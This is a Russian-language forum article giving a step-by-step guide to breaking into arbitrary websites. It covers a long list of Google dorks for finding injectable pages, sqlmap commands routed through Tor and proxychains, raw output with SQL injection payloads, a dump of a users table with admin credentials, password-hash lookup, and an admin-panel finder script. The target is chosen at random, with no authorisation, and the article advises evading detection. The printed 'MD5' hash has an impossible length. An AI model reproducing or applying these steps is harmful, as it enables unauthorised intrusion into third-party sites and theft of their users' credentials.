[Статья] Знакомство с простейшей пенетрацией веб-ресурсов

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-08-16 19 ч.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Добрый всем день. Вследствии недавно вышедшего обновления Kali Sana, хочу немного поделится с участниками форума информацией о простой пенетрации. Метод старый как мир, но все же полезен и работает.

Задача: найти уязвимый ресурс, получение его базы данных, получения доступа к ресурсу, его изучение и использование возможностей.

PS Все данные (ссылки, логины, пароли, хэш) я изменил, дабы не деанонить ни себя, ни атакуемый ресурс. Суть от этого не меняется.


Что нам нужно подготовить для полноценного ознакомления?

Основной инструмент - сканер Sqlmap.
Скачать можно здесь, там же есть ссылка на гитхаб.
Я использую версию 1.0-dev-nongit-20150814.

Чтобы узнать версию программы выполняем:

sqlmap --version

Язык Perl для использования специализированного скрипта.
Установить можно из репозитория:

sudo apt-get install perl

Вспомогательныйй софт, который может понадобится - ophcrack и httrack.
О них будет отдельно ниже.


Дорки Гугла для поиска уязвимых веб-ресурсов.
База для поиска здесь.

NB! Что это такое?
Специальные запросы для более простого поиска и обработки информации, в нашем случае - поиск по предполоагемым уязвимым местам. Нам нужны два - inurl и allinurl.

Распространенные и актуальные на август 2015 дорки inurl:

inurl:item_id=
inurl:review.php?id=
inurl:hosting_info.php?id=
inurl:newsid=
inurl:iniziativa.php?in=
inurl:gallery.php?id=
inurl:trainers.php?id=
inurl:curriculum.php?id=
inurl:rub.php?idr=
inurl:news-full.php?id=
inurl:labels.php?id=
inurl:view_faq.php?id=
inurl:news_display.php?getid=
inurl:story.php?id=
inurl:artikelinfo.php?id=
inurl:index2.php?option=
inurl:look.php?ID=
inurl:detail.php?ID=
inurl:readnews.php?id=
inurl:newsone.php?id=
inurl:index.php?=
inurl:top10.php?cat=
inurl:aboutbook.php?id=
inurl:profile_view.php?id=
inurl:newsone.php?id=
inurl:material.php?id=
inurl:category.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:news_view.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:historialeer.php?num=
inurl:show_an.php?id=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:preview.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:loadpsb.php?id=
inurl:transcript.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:loadpsb.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:art.php?idm=
inurl:title.php?id=
inurl:recruit_details.php?id=
inurl:+union+select+ от
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:declaration_more.php?decl_id=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:loadpsb.php?id=
inurl:spr.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:category.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:shop.php?do=part&id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:shopping.php?id=
inurl:show_item_details.cfm?item_id=
inurl:showbook.cfm?bookid=
inurl:showStore.cfm?catID=
inurl:shprodde.cfm?SKU=
inurl:specials.cfm?id=
inurl:store.cfm?id=
inurl:store_bycat.cfm?id=
inurl:store_listing.cfm?id=
inurl:Store_ViewProducts.cfm?Cat=
inurl:store-details.cfm?id=
inurl:storefront.cfm?id=
inurl:storefronts.cfm?title=
inurl:storeitem.cfm?item=
inurl:StoreRedirect.cfm?ID=
inurl:subcategories.cfm?id=
inurl:tek9.cfm?
inurl:template.cfm?Action=Item&pid=
inurl:topic.cfm?ID=
inurl:tuangou.cfm?bookid=
inurl:type.cfm?iType=
inurl:updatebasket.cfm?bookid=
inurl:updates.cfm?ID=
inurl:view.cfm?cid=
inurl:view_cart.cfm?title=
inurl:view_detail.cfm?ID=
inurl:viewcart.cfm?CartId=
inurl:viewCart.cfm?userID=
inurl:viewCat_h.cfm?idCategory=
inurl:viewevent.cfm?EventID=
inurl:viewitem.cfm?recor=
inurl:viewPrd.cfm?idcategory=
inurl:ViewProduct.cfm?misc=
inurl:voteList.cfm?item_ID=
inurl:whatsnew.cfm?idCategory=
inurl:WsAncillary.cfm?ID=
inurl:WsPages.cfm?ID=


Подготовили все необходимое? Отлично. Начнем с небольшой теории простыми словами.

Что такое SQL-инъекция?
Хочу донести простой аналогией. Представьте себе КПП на заводе, где охранник - принципиальный и сильный маразматичный дед, но очень тупой. Парень-SQL подходит к посту и начинает выспрашивать у деда, как выглядят у него на заводе работяги. Дед ему отвечает, ибо он тупой. Тогда парень на глазах у деда переодевается в форму - и спрашивает - "Так можно пройти?". Если форма подходит под правила завода, дед его пропускает, а парень идет на склад, переодевается в кладовщика и далее по нарастающей.

Какие основные типы инъекций мы можем осуществить?
1) UNION query SQL injection.
Вариант внедрения кода при прямом возвращении результата, работает циклично.
2) Error-based SQL injection.
Вариант внедрения заведомо неправильного выражения и считывая ответ, ищет логические ошибки.
3) Stacked queries SQL injection.
Вариант внедрения кода с последовательным запросом, правит параметры и добавляет в конце скульзапрос.
4) Boolean-based blind SQL injection.
Вариант внедрения слепой инъекции, при которой данные из базы не возвращаются, а отправляются правильно сформированные запросы шаг за шагом, после которых путем сравнения формируется нужный запрос.
5) Time-based blind SQL injection.
Вариант внедрения полностью слепой инъекции, подобным предыидущему, но с добавлением подзапроса на паузу в СУБД.

Что такое СУБД и какие СУБД поддерживаются? Что такое WAF?
СУБД (DBMS) - Система управления базой данных.
Поддерживаются - MySQL, Oracle, PostSQL, Microsoft SQLServer/Access, SQLite, Firebird и другие.
WAF - Брандмауэр для веб-ресурса. Средство защиты от направленных атак. Не преграда для любознательных.

Что такое information_schema?
information_schema - стандартное название СУБД, стоит всегда рядом с пользовательским базами, которые нам и нужны в первую очередь.


Кратко ознакомились, начнем поиск уязвимого ресурса. Можно это делать и руками в поисковой строке, но зачем, если такая функция присутствует в самом сканере?

Выберем строку дорка, скажем inurl:news-read.php?id=
Хрустим пальцами, открывает терминал и пишем:

sqlmap -g inurl:news-read.php?id= --random-agent --proxy=socks5://127.0.0.1:9150

Сразу же мы видим, при запросе вывода через Tor гугл начинает ругаться.

[23:07:12] [INFO] first request to Google to get the session cookie
[23:07:14] [INFO] using Google result page #1
[23:07:16] [CRITICAL] Google has detected 'unusual' traffic from used IP address disabling further searches

Не беда)
Запускаем проксичейн, настраиваем сканер на работу через ssh-туннель и дело в шляпе.
Пишем:

proxychains sqlmap -g news-read.php?id= --random-agent

Что мы видим?

[*] starting at 23:20:17

[23:20:17] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51'
[23:20:17] [INFO] first request to Google to get the session cookie
[23:20:17] [INFO] using Google result page #1
[23:20:18] [INFO] sqlmap got 72 results for your Google dork expression, 42 of them are testable targets
[23:20:18] [INFO] sqlmap got a total of 42 targets

...тут лишнии строки вырежем...

URL 10:
GET https://atn.ua/news-read.php?id=67312
do you want to test this URL? [Y/n/q]
> n

URL 11:
GET https://atn.ua/news-read.php?id=66577
do you want to test this URL? [Y/n/q]
> n

...и тут...

URL N:
GET https://HIDEADRESS.com/news-read.php?id=9835
do you want to test this URL? [Y/n/q]
> q

А видим мы, что под нашу строку гугл выдал 42 потенциально уязвимых обьекта. Мы остановимся на обьекте номер N. Тут можно либо сразу начать процесс, нажав Y (Да), либо, как сделал я, перезапустить процесс через Тор. Сделать это можно с помощью параметра --proxy и с помощью параметра --tor, в зависимости от вашей настройки. Я буду подключатся через параметр прокси.

Для справки. Также я запускал сканер через проксичейн, но в виду влияния Сатурна процесс идет несравнимо медленней штатного запуска через прокси.

Записывается он в таком формате :

--proxy='http,socks'://ip:port

И раз уж зашла речь о параметрах, кратко опишу те, которые могут нам понадобится:

-u URL                     Вводим адрес атакуемого ресурса
-g GOOGLEDORK    Вводим данные для использоавния дорков гугла

--random-agent       Подменяем юзер-агент на случайный из базы
--proxy=PROXY       Используем прокси для соеденения
--tor                         Используем Тор для соеденения


--level=LEVEL          Уровни для тестирования (1-5, по умолчанию 1)
--risk=RISK              Расширенные наборы тестов (1-3, по умолчанию 1)

--banner                  Запрос баннера ресурса
--current-user         Запрос юзер-агента
--current-db            Запрос СУБД
--passwords            Запрос на сохраненные пароли
--tables                    Запрос на нумерацию таблиц
--columns                Запрос на нумерацию столбцов
--dump                    Запрос на формирование дампа

-D DB                       Выбор базы данных
-T TBL                      Выбор таблицы
-C COL                     Выбор столбца таблицы

--dbs                       Нумерация баз данных

--tamper                 Скрипты для нахождения обхода защиты
Полный список скриптов для тампера есть тут.


Итак, жертва выбрана. Пошли дальше.

NB! Нужно понимать, как работает следующий процесс.
Веб-ресурсы, которые открыты для инъекций, выводят нам сообщение об ошибке при запросе недопустимого параметра, к примеру одиночного символа в конце строки. Помимо подтверждения о наличии уязвимости, мы также может доподлинно установить, какая СУБД используется. Если в ошибке написано о MySQL - значит используется MySQl. Если Oracle - то Oracle и т.д.

Используем команду:

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs 
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:16:51

[21:16:51] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1'
[21:16:51] [INFO] testing connection to the target URL
[21:16:53] [INFO] testing if the target URL is stable
[21:16:55] [INFO] target URL is stable
[21:16:55] [INFO] testing if GET parameter 'id' is dynamic
[21:16:56] [INFO] confirming that GET parameter 'id' is dynamic
[21:16:57] [INFO] GET parameter 'id' is dynamic
[21:16:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:17:00] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:17:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:05] [WARNING] reflective value(s) found and filtering out
[21:17:10] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[21:17:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[21:17:11] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[21:17:11] [INFO] testing 'MySQL inline queries'
[21:17:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[21:17:12] [WARNING] time-based comparison requires larger statistical model, please wait..................            
[21:17:37] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[21:17:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[21:17:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:42] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[21:17:43] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:17:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[21:17:56] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
[21:17:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:17:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:17:59] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:18:06] [INFO] target URL appears to have 10 columns in query
[21:18:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:18:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:18:24] [INFO] fetching database names
[21:18:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:18:28] [WARNING] the SQL query provided does not return any output
[21:18:30] [INFO] the SQL query used returns 2 entries
[21:18:31] [INFO] retrieved: information_schema
[21:18:33] [INFO] retrieved: main_HIDEADRESS
available databases [2]:
[*] information_schema
[*] main_HIDEADRESS

[21:18:33] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:18:33

В данном коде мы видим, какие инъекции были использованы и какая СУБД была найдена.
Также мы видим нужную нам БД - это  main_HIDEADRESS

Теперь выберем ее и подадим запрос на построение таблиц.

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:19:29

[21:19:29] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2'
[21:19:29] [INFO] resuming back-end DBMS 'mysql' 
[21:19:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:19:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:19:32] [INFO] fetching tables for database: 'main_HIDEADRESS'
[21:19:34] [WARNING] reflective value(s) found and filtering out
[21:19:34] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:19:35] [WARNING] the SQL query provided does not return any output
[21:19:37] [INFO] the SQL query used returns 6 entries
[21:19:38] [INFO] retrieved: category
[21:19:39] [INFO] retrieved: listing_category
[21:19:41] [INFO] retrieved: listings
[21:19:42] [INFO] retrieved: news
[21:19:44] [INFO] retrieved: testimonials
[21:19:46] [INFO] retrieved: users
Database: main_HIDEADRESS
[6 tables]
+------------------+
| category         |
| listing_category |
| listings         |
| news             |
| testimonials     |
| users            |
+------------------+

[21:19:46] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:19:46

Мы видим, что таблиц 6. Почему то мне кажется, что учетка администратора должна быть в таблице users. Давайте посмотрим. Выбираем таблицу и подаем запрос на дамп. Можно было использовать параметр --columns для построения столбцов таблицы, но я чую, что это то что нам нужно.

Команда:

sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150814}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:20:21

[21:20:21] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7'
[21:20:21] [INFO] resuming back-end DBMS 'mysql' 
[21:20:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35 AND 2802=2802

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:20:24] [INFO] fetching columns for table 'users' in database 'main_HIDEADRESS'
[21:20:25] [WARNING] reflective value(s) found and filtering out
[21:20:25] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:20:26] [WARNING] the SQL query provided does not return any output
[21:20:28] [INFO] the SQL query used returns 6 entries
[21:20:32] [INFO] retrieved: user_id
[21:20:34] [INFO] retrieved: int(4)
[21:20:35] [INFO] retrieved: user_name
[21:20:37] [INFO] retrieved: varchar(32)
[21:20:38] [INFO] retrieved: user_pwd
[21:20:40] [INFO] retrieved: varchar(32)
[21:20:41] [INFO] retrieved: user_email
[21:20:43] [INFO] retrieved: varchar(100)
[21:20:44] [INFO] retrieved: user_edate
[21:20:46] [INFO] retrieved: datetime
[21:20:47] [INFO] retrieved: user_isactive
[21:20:49] [INFO] retrieved: int(1)
[21:20:49] [INFO] fetching entries for table 'users' in database 'main_HIDEADRESS'
[21:20:52] [WARNING] the SQL query provided does not return any output
[21:20:53] [INFO] the SQL query used returns 2 entries
[21:20:54] [INFO] retrieved: 2015-01-08 09:55:00
[21:20:55] [INFO] retrieved: [email protected]
[21:20:56] [INFO] retrieved: 2
[21:20:58] [INFO] retrieved: 1
[21:20:59] [INFO] retrieved: WPAdm1n
[21:21:00] [INFO] retrieved: 092843e5d323469872340dbd219953bf62
[21:21:02] [INFO] retrieved: 2015-01-08 08:13:00
[21:21:03] [INFO] retrieved: [email protected]
[21:21:05] [INFO] retrieved: 3
[21:21:06] [INFO] retrieved: 1
[21:21:08] [INFO] retrieved: MdG2015
[21:21:12] [INFO] retrieved: 092843e5d323469872340dbd219953bf62

Database: main_HIDEADRESS
Table: users
[2 entries]
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| user_id | user_pwd        | user_name    | user_edate          | user_email            | user_isactive |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| 2  | 092843e5d323469872340dbd219953bf62 | WPAdm1n | 2015-01-08 09:35:00 | [email protected]| 1             |
| 3  | 092843e5d323469872340dbd219953bf62 | MdG2015 | 2015-01-08 12:14:00 | [email protected] | 1             |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+

[21:21:12] [INFO] table 'main_HIDEADRESS.com.users' dumped to CSV file '/home/esida/.sqlmap/output/HIDEADRESS.com.com/dump/main_HIDEADRESS.com/users.csv'
[21:21:12] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'

[*] shutting down at 21:21:12

В дампе мы видим столбцы с айди, паролем, логином, датой и почтой.
Пароль захеширован, и его нужно расшифровать. Ничего, для этого у нас есть ophcrack. Но постойте, а что если данный хеш погуглить? Гуглим:

md5 hash:
092843e5d323469872340dbd219953bf62

Encoded Value:
adminr00t,q123

Как все просто. Как вы могли увидеть, данный хэш был включен в радужную таблицу.
Однако, даже если бы его там не было, у нас на подхвате были варианты:
Сканер сам бы предложила расшифровать хэш, что сделать нетрудно, используя встроенный или внешний словарь. Либо мы бы использовали дополнительный софт.


Так, теперь у нас есть данные от базы. Как же их использовать? Для начала - зайти в админку.
Для этого используем скрипт с автоматизации поиска. Раньше я пользовался чужими скриптами, но недавно написал свой. Его и будет использовать. Скачать можно тут, код прокомментирован и интуитивно понятен.

Запускаем скрипт в терминале, используя проксичейн. Все написано на русском языке и автоматизированно.

Запускаем командой:

proxychains perl findadminpanel.pl
esida@laptop:~$ proxychains perl findadminpanel.pl
ProxyChains-3.1 (https://proxychains.sf.net)

=========================================================================
	                                     Find Admin Control Panel                            
	                                 Product is Feeling/Reseau Group                         
	                                       Author: numitira                                  
	                               Contact us: numitira @ zloy.im                           
	=========================================================================

	=========================================================================
	=   Введите url-адрес ресурса, на котором вы хотите осуществить поиск панели управления   =
	=   Примеры: https://www.fsbsite.ru/, www.mvdlook.net, mysosedismad.com, abv.info/path/              =
	===========================================================================================
-> https://www.HIDEADRESS.com

	=========================================================================
	=    Выберите модель поиска из предложенных вариантов:                                    =
	=    Выбери вариант '1' для поиска php, html и типичных вариантов                         =
	=    Выбери вариант '2' для поиска html, asp и aspx                                       =
	=    Выбери вариант '3' для поиска всех возможных вариантов из базы                       =
	=========================================================================
-> 1

-> Цель: https://www.HIDEADRESS.com/
-> Выбрана модель: 1
-> Процесс запущен. Ищем панель управления...

... вырежем ненайденные строки...

|DNS-request| HIDEADRESS.com 
|S-chain|-<>-127.0.0.1:9150-<><>-2.2.2.2:53-<><>-OK
|DNS-response| HIDEADRESS.com is 72.127.212.16
....

 Найдено по адресу: -> https://HIDEADRESS.com/usuarios/

Скрипт смело юзайте, он нашел мне админки на сайтах, на которых не находили публичные скрипты, заодно и ошибки выявите.
Нужно сказать, что число ложных срабатываний (когда вместо админки находятся недокументированные пути в адресе) достаточное, но их тоже можно использовать.

Нам повезло, в базе данных моего скрипта был путь к админке атакуемого ресурса.
Если же путь не найден, то сначал делаем самые простые вещи: смотрим вход в админку прямо на сайте (такое часто бывает), смотри файл /robots.txt или запускаем упомянутый выше httrack.


Данная софтина делает копию атакуемого сайта, и таким образом можно ознакомится со структурой страниц.

Устанавливаем:

apt-get install httrack

Запускаем:

httrack

Пишем имя проекта, каталог, вводим адрес нужного ресурса, выбираем опцию:

1. Создать зеркало сайта (сайтов)
2. Создать зеркало сайта (сайтов) с мастером
3. Просто получить указанные файлы
